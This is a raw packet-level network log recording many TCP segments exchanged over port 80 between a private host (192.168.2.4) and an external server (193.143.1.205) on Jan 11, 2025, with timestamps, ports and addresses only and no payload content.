Jan 11, 2025 00:01:01.073829889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.073842049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.073864937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.086826086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.103916883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.103935957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.103957891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.103976011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.103986979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.103986025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.104002953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.104012012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.104017973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.104032993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.104042053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.104053020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.104070902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.104084015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.104142904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.104155064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.104188919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.104204893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.104211092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.104223013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.104249001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.104331017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.104374886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.104379892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.104526043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.104563951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.104571104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.104578018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.104614019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.104619026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.104631901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.104643106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.104655027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.104666948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.104693890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.104854107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.104971886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105010986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.105034113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105048895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105061054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105073929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105083942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.105107069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105113983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.105138063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105154037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105176926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105179071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.105190039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105216026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.105566978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105595112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105606079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105607986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.105621099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105633020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105645895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105645895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.105667114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105671883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.105681896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105693102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105704069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105707884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.105716944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105726004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.105730057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105741978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105753899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105753899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.105767012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.105782986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.105803013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.106349945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.106363058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.106374025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.106385946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.106399059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.106410027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.106424093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.106426954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.106453896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.106482029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.106493950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.106513023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.106523991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.106532097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.106537104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.106550932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.106561899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.106564999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.106575012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.106590033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.106590986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.106610060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.106628895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.107150078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.107167006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.107204914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.122838974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.129671097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.129743099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.129762888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.129774094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.129785061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.129798889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.129800081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.129812002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.129820108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.129869938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.129900932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.129920006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.129935026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.129944086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.129945040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.129959106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.129970074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.129971981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.129987001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.130007029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.130018950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.157617092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.160115004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160141945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160156012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160181999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.160198927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160209894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160219908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160240889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.160255909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.160329103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160341978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160351992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160389900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.160410881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160449028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.160461903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160474062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160482883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160507917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.160576105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160614014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.160631895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160676956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160712004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.160789967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160804033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160809994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160815954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160823107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160830021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.160950899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.161032915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.161046982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.161056042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.161086082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.161103964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.161143064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.161144018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.161159992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.161194086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.161202908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.161215067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.161225080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.161237001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.161248922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.161267042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.161279917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.161279917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.161293030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.161304951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.161345959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.162190914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.162201881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.162214041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.162226915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.162239075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.162251949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.162259102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.162272930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.162285089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.162301064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.175669909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.192328930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.192344904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.192369938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.192379951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.192394972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.192409992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.192410946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.192428112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.192451954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.192502022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.192529917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.192538977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.192702055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.192718983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.192733049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.192743063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.192760944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.192774057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.192784071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.192810059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.192822933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.192823887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.192841053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.192859888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.192974091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.192990065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193005085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193010092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.193039894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.193084002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193111897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193128109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193142891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193145990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.193159103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193183899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.193275928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193315983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193325043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.193336964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193380117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.193439007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193460941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193476915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193492889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193509102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193512917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.193552971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.193641901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193656921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193682909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.193687916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193703890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193720102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193742037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.193753004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193761110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.193770885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193788052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.193810940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.194106102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.194123030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.194139957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.194144011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.194180965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.194236040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.194252014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.194279909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.194294930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.194295883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.194314003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.194330931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.194336891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.194349051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.194363117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.194370031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.194379091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.194394112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.194401026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.194430113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.199074030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.199088097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.199103117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.199182034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.199192047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.199213982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.199225903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.199233055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.199239969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.199253082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.199264050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.199271917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.199278116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.199290991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.199301958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.199306011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.199322939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.199327946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.199343920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.199350119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.199379921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.210717916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.218261003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.218346119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.218388081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.218400955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.218420029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.218436956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.218456984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.218472004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.218503952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.218508959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.218622923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.218661070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.218672991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.218691111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.218715906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.218729019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.218739986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.218749046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.218766928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.218772888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.218802929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.219163895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.248970032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249003887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249017000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249049902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.249058008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249079943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249104023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.249105930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249119043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249131918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249145031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249156952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249165058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.249170065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249186039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249195099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.249231100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.249260902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249279022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249291897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249304056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249314070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.249317884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249339104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249342918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:01:01.249355078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:01:01.249370098 CET	80	49730	193.143.1.205	192.168.2.4
